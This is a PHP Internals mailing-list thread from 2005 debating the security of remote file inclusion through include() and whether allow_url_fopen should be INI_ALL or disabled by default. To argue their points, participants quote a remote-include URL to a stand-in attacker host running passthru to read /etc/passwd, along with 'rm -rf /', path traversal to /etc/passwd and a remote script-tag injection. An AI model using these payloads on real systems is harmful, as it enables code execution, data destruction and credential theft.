Russell Nelson wrote: Graphical user interface designers understand the idea of an 'affordance'. An affordance is something whose operation is obvious simply by looking at it. An uparrow button moves something upwards. Uh, no. Affordances are the range of possible actions by a user, perceived affordances are the ranges of actions a user perceives is possible. You don't save people by filing down the sharp edges on a tool. You do it by telling them it's sharp. Best, Mike Robinson -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Russell Nelson wrote: Graphical user interface designers understand the idea of an 'affordance'. An affordance is something whose operation is obvious simply by looking at it. An uparrow button moves something upwards. 'include' is an affordance. It obviously includes a local file. To me, it's obvious that include includes a file - I see no obvious determination that that file is either local or remote in the include statement. Also, I think it's silly to make include into two functions as you suggest given that the ability to include a remote file depends on the fopen wrapper being enabled. If we were to follow this line of logic, we would have two functions for every current one function which can use the fopen wrappers. I think the documentation quite clearly states that /all/ functions that deal with files may deal with remote files if the fopen wrappers are enabled and that it's safest to make sure these wrappers are disabled in the php.ini/config file. I'm not speaking as somebody who's never seen the misuse of include() either - I had a server remotly exploited several months back after I did a favour for a mate and let him run some of his dodgy code on the machine. However, as I mention above, every single function that can use fopen wrappers can be exploited in this way. Now, if include is at the top of the currently-exploited-in-this-manner list of these functions, maybe the documentation needs to start using blink* tags to highlight things a bit more - this is an entirely seperate issue to the function being broken. Sadly, the (ab)use of this function and others using fopen are things I'm seeing are in-line with how I saw people abusing crap perl scripts 5-10 years back when that started to become really popular for web scripting. It's unfortunate, but there's a lot of muppets out there who think they can code - it shouldn't be anybodies job to shield them from the headaches they'll be unleashing upon themselves when that removes functionality or changes existing functionality for those of us who know how to use these functions appropriatly - after all, about the first thing you read in any book about any web scripting is you /do not/ accept unvalidated user input. * -- sorry, joke :-) -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DEV] allow_url_fopen should be INI_ALL
Mike Robinson writes: Uh, no. Affordances are Okay, I'm wrong about that. I don't need to push that analogy to make my point. You don't save people by filing down the sharp edges on a tool. You do it by telling them it's sharp. If you look at a tool, you can tell if it's sharp. If you look at include, you can't tell that it will happily, Pleasantly, Positively JOYFULLY execute hostile code if the attacker asks it to and you haven't told it not to. You know, I keep searching for an explanation of why so many people have had security problems with php. The answer is simple: the people in charge of php (sorry, Rasmus) think it's okay to create an insecure language construct without making it clear that it's insecure. Now, don't tell me that it's not insecure. Everyone here realizes (and I know this because they've told me) that programmers who are concerned about security will always check the values passed into 'include'. Why would they need to do that if 'include' wasn't insecure? If you have to read the man page to find out that 'include' will let some random user from a third-world country execute 'rm -rf /' on your server, then I propose that the problem is not that users didn't read the man page. The problem is with include, and it needs to be fixed. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
On 6/28/05, Russell Nelson [EMAIL PROTECTED] wrote:
If you have to read the man page to find out that 'include' will let
some random user from a third-world country execute 'rm -rf /' on your
server, then I propose that the problem is not that users didn't read
the man page. The problem is with include, and it needs to be fixed.
Are you suggesting that someone could wipe out your entire machine by
passing a remote script that would system('rm -rf /');?
This is not a PHP related problem. If the user is stupid enough to run
his webserver as root and not setting proper privileges, he deserves
to get his hard drive wiped out.
Maybe we should consider Apache insecure as it allows you to run it as
root if you like? Or maybe we should blame UN*X systems for having a
root account?
I sure do expect to have include() using the fopen wrapper. If it was
not the case, people would start writing their own implementation of
remote include file, opening a HTTP stream and then piping it to
include().
IMHO, this thread is pointless. About any feature (good features!) of
PHP might be used to hack a system. There is no way around a crapy
written software (meaning the PHP script, and *not* the PHP runtime).
There is no problems with the include() statement. The only thing
missing, is a blink tag in the docs ;)
Sincerely,
Olivier
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Gareth Ardron writes: To me, it's obvious that include includes a file - I see no obvious determination that that file is either local or remote in the include statement. Can you name some other languages in which 'include' has such incredibly sharp edges? C? Python? Perl? BASH? Sed? Awk? Pascal? BASIC? Is there *any* precedent for a language in which 'include' will fetch hostile code from a remote server and execute it? If you're going to argue that experienced programmers will understand that 'include' will fetch code, you should explain how their experience helps them. Also, I think it's silly to make include into two functions as you suggest given that the ability to include a remote file depends on the fopen wrapper being enabled. If we were to follow this line of logic, we would have two functions for every current one function which can use the fopen wrappers. That's not my line of logic, so following it takes you off the map. I think the documentation quite clearly states that /all/ functions that deal with files may deal with remote files if the fopen wrappers are enabled Why did both of my users miss that documentation? The facts seem to be in opposition to your assertion that the documentation quite clearly states. However, as I mention above, every single function that can use fopen wrappers can be exploited in this way. Not true. You would need to have *another* security flaw (a bug in jpg or xml parsing) for hostile jpg or xml content to gain privileges. It's unfortunate, but there's a lot of muppets out there who think they can code Now you're blaming the victim. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Russell Nelson wrote: Stefan Esser writes: I agree with Rasmus. Remote URL Includes are dieing out. That's not what Rasmus said. Most released advisories are SQL Injections nowadays and well maybe Russells next mail says: mysql_query() considered harmful. When the top Google result for 'php security flaw' returns mysql_query() instead of include(), I will agree that you are correct. I am not sure a Google search is a very good barometer here. I'd like to think that we are pretty good at staying on top of the security problems reported in PHP-related applications and as such have a pretty good idea of what the top problems are. I rarely see these url_fopen issues anymore. Perhaps 2 years ago, but today it really doesn't seem like it is even in the top 10 PHP security problems. If you could order your serach results by date I bet you'd see that a number of these entries are quite old. -Rasmus -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Russell Nelson wrote: I think the documentation quite clearly states that /all/ functions that deal with files may deal with remote files if the fopen wrappers are enabled Why did both of my users miss that documentation? The facts seem to be in opposition to your assertion that the documentation quite clearly states. I don't really feel that 2 users are a good indication of users as a whole, here - however, it still seems more of a documentation issue than a broken function issue to me. To break BC seems overkill for a function which is so useful to many of us working on systems distributed over many different servers. It's unfortunate, but there's a lot of muppets out there who think they can code Now you're blaming the victim. Yes, I am. Ok, maybe part of that blame should lie in the documentation, but really it's a silly bug to fall for. To quote the page at the top of a google search for php security flaw (as you suggested searching for): This is a common mistake by newbies. When PHP is including a page it doesn't care if the page is locally or on a remote server. Someone could easily change the URL to *http://www.unsecuresite.com/index.php?page=http://www.cracker.com/crack.php*. Imagine crack.php is containing this text: ?php passthru( cat /etc/passwd ); ? Indeed, the rest of that google search seems to be pulling up articles on past php security flaws now delt with or articles on how to improve the security of your php scripts - I'm hard-pushed to find a large number of specific articles dealing with the 'flaw' you mention. Regards, -- Gareth Ardron -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
PHP is not, in my opinion, idiot-proof. You're right on that point. Where our opinions differ is about what should be done about this. If a programmer is not capable of controlling an user input, why then should we trust him with anything ? A lot of other functions taking user input as arguments could potentially be as damaging as this one. I think if a programmer can't read a manual page about a so common function, he deserves what he has. Yes, I'm feeling a bit pre-conventionnal tonight. As for the `rm -rf /` case, I think it's the best exemple. Why should a hacker bother on exploiting an include stupidly called with user input unfiltered when he can get straight to an unprotected system($_GET['Whatever']). Are you suggesting that virtually _any_ function should be protected against stupidity ? What kind of language PHP would be after that ? On 6/29/05, Russell Nelson [EMAIL PROTECTED] wrote: Gareth Ardron writes: To me, it's obvious that include includes a file - I see no obvious determination that that file is either local or remote in the include statement. Can you name some other languages in which 'include' has such incredibly sharp edges? C? Python? Perl? BASH? Sed? Awk? Pascal? BASIC? Is there *any* precedent for a language in which 'include' will fetch hostile code from a remote server and execute it? If you're going to argue that experienced programmers will understand that 'include' will fetch code, you should explain how their experience helps them. Also, I think it's silly to make include into two functions as you suggest given that the ability to include a remote file depends on the fopen wrapper being enabled. If we were to follow this line of logic, we would have two functions for every current one function which can use the fopen wrappers. That's not my line of logic, so following it takes you off the map. I think the documentation quite clearly states that /all/ functions that deal with files may deal with remote files if the fopen wrappers are enabled Why did both of my users miss that documentation? The facts seem to be in opposition to your assertion that the documentation quite clearly states. However, as I mention above, every single function that can use fopen wrappers can be exploited in this way. Not true. You would need to have *another* security flaw (a bug in jpg or xml parsing) for hostile jpg or xml content to gain privileges. It's unfortunate, but there's a lot of muppets out there who think they can code Now you're blaming the victim. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php -- Nicolas Bérard Nault ([EMAIL PROTECTED]) Maybe nature is fundamentally ugly, chaotic and complicated. But if it's like that, then I want out. -- Steven Weinberg (prix Nobel de physique, 1979). -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Just for the records, I guess you all know that I meant 'language construct' where I wrote 'function' instead (in reference to include). On 6/29/05, Nicolas Bérard Nault [EMAIL PROTECTED] wrote: PHP is not, in my opinion, idiot-proof. You're right on that point. Where our opinions differ is about what should be done about this. If a programmer is not capable of controlling an user input, why then should we trust him with anything ? A lot of other functions taking user input as arguments could potentially be as damaging as this one. I think if a programmer can't read a manual page about a so common function, he deserves what he has. Yes, I'm feeling a bit pre-conventionnal tonight. As for the `rm -rf /` case, I think it's the best exemple. Why should a hacker bother on exploiting an include stupidly called with user input unfiltered when he can get straight to an unprotected system($_GET['Whatever']). Are you suggesting that virtually _any_ function should be protected against stupidity ? What kind of language PHP would be after that ? On 6/29/05, Russell Nelson [EMAIL PROTECTED] wrote: Gareth Ardron writes: To me, it's obvious that include includes a file - I see no obvious determination that that file is either local or remote in the include statement. Can you name some other languages in which 'include' has such incredibly sharp edges? C? Python? Perl? BASH? Sed? Awk? Pascal? BASIC? Is there *any* precedent for a language in which 'include' will fetch hostile code from a remote server and execute it? If you're going to argue that experienced programmers will understand that 'include' will fetch code, you should explain how their experience helps them. Also, I think it's silly to make include into two functions as you suggest given that the ability to include a remote file depends on the fopen wrapper being enabled. If we were to follow this line of logic, we would have two functions for every current one function which can use the fopen wrappers. That's not my line of logic, so following it takes you off the map. I think the documentation quite clearly states that /all/ functions that deal with files may deal with remote files if the fopen wrappers are enabled Why did both of my users miss that documentation? The facts seem to be in opposition to your assertion that the documentation quite clearly states. However, as I mention above, every single function that can use fopen wrappers can be exploited in this way. Not true. You would need to have *another* security flaw (a bug in jpg or xml parsing) for hostile jpg or xml content to gain privileges. It's unfortunate, but there's a lot of muppets out there who think they can code Now you're blaming the victim. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php -- Nicolas Bérard Nault ([EMAIL PROTECTED]) Maybe nature is fundamentally ugly, chaotic and complicated. But if it's like that, then I want out. -- Steven Weinberg (prix Nobel de physique, 1979). -- Nicolas Bérard Nault ([EMAIL PROTECTED]) Maybe nature is fundamentally ugly, chaotic and complicated. But if it's like that, then I want out. -- Steven Weinberg (prix Nobel de physique, 1979). -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Russell Nelson wrote: Now, don't tell me that it's not insecure. Everyone here realizes (and I know this because they've told me) that programmers who are concerned about security will always check the values passed into 'include'. Why would they need to do that if 'include' wasn't insecure? Because it's one of - if not the first of - rules of web-based scripting, maybe even programming in general. You absolutly can't trust any input whatsoever and it must be validated. There are examples of this in every type of language that I care to think of, from buffer overflows in C/C++, SQL injections in well, just about any language and of course, system()/exec()/include()/etc in php/. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Olivier Hill writes:
Are you suggesting that someone could wipe out your entire machine by
passing a remote script that would system('rm -rf /');?
It would only delete every file owned by the user that the webserver
runs as. On my server, that's 1846 files, some of which I'm fairly
attached to.
There is no problems with the include() statement. The only thing
missing, is a blink tag in the docs ;)
If there were no problems, then why would a blink tag be needed?
--
--My blog is at blog.russnelson.com | If you want to find
Crynwr sells support for free software | PGPok | injustice in economic
521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the
Potsdam, NY 13676-3213 | | hand of a legislator.
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Rasmus Lerdorf writes: Russell Nelson wrote: When the top Google result for 'php security flaw' returns mysql_query() instead of include(), I will agree that you are correct. I am not sure a Google search is a very good barometer here. ... today it really doesn't seem like it is even in the top 10 PHP security problems. Essentially, you're saying that Google doesn't do a good job at finding pages people would be interested in reading. That's a strong claim to make. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Yasuo Ohgaki writes: 1) change allow_url_fopen to INI_ALL 2) disable allow_url_fopen by default I would like to see these changes in PHP 5.1 and PHP 4.4, since this is security related changes. What problem are you trying to solve? Attacks against the very common misuse of: include http://example.com/hostile.php; ? Or attacks against a graphics library: getimagesize(http://example.com/hostile.jpg;) or XML parser: simplexml_load_file(http://example.com/hostile.xml;) Derick Rethans writes: I disagree. With proper filtering, or using non-user-supplied information there is no problem. The problem is that naive programmers think there is no problem withOUT proper filtering. The sharp edges of 'include' are not visible enough. I'll bet you that people would not use 'include' and 'includeremotehostilecode' in the identical manner. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Russell Nelson wrote: Yasuo Ohgaki writes: 1) change allow_url_fopen to INI_ALL 2) disable allow_url_fopen by default I would like to see these changes in PHP 5.1 and PHP 4.4, since this is security related changes. What problem are you trying to solve? Attacks against the very common misuse of: include http://example.com/hostile.php; ? Or attacks against a graphics library: getimagesize(http://example.com/hostile.jpg;) or XML parser: simplexml_load_file(http://example.com/hostile.xml;) Derick Rethans writes: I disagree. With proper filtering, or using non-user-supplied information there is no problem. The problem is that naive programmers think there is no problem withOUT proper filtering. The sharp edges of 'include' are not visible enough. I'll bet you that people would not use 'include' and 'includeremotehostilecode' in the identical manner. How is this any different from include ../../../../../etc/passwd; Or system(rm -rf .); Or echo $user_data; where $user_data contains: script src=http://remote.host/foo.js;/script There are a lot of places where unfiltered user input can cause some rather severe problems. I agree that we need to improve the overall level of security in PHP, but I am not sure that focusing on allow_url_fopen is very constructive. There are far far more web sites that have these other unfiltered user data issues than have url_fopen issues. -Rasmus -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Hi, On Sunday 26 June 2005 00:36, Yasuo Ohgaki wrote: I would like to see these changes in PHP 5.1 and PHP 4.4, since this is security related changes. Right, it's a security related thing: Only the administrator can decide wether any application should be able to do url_fopens or not. If an application needs it the administrator can check it and enable it by host/directory. johannes -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
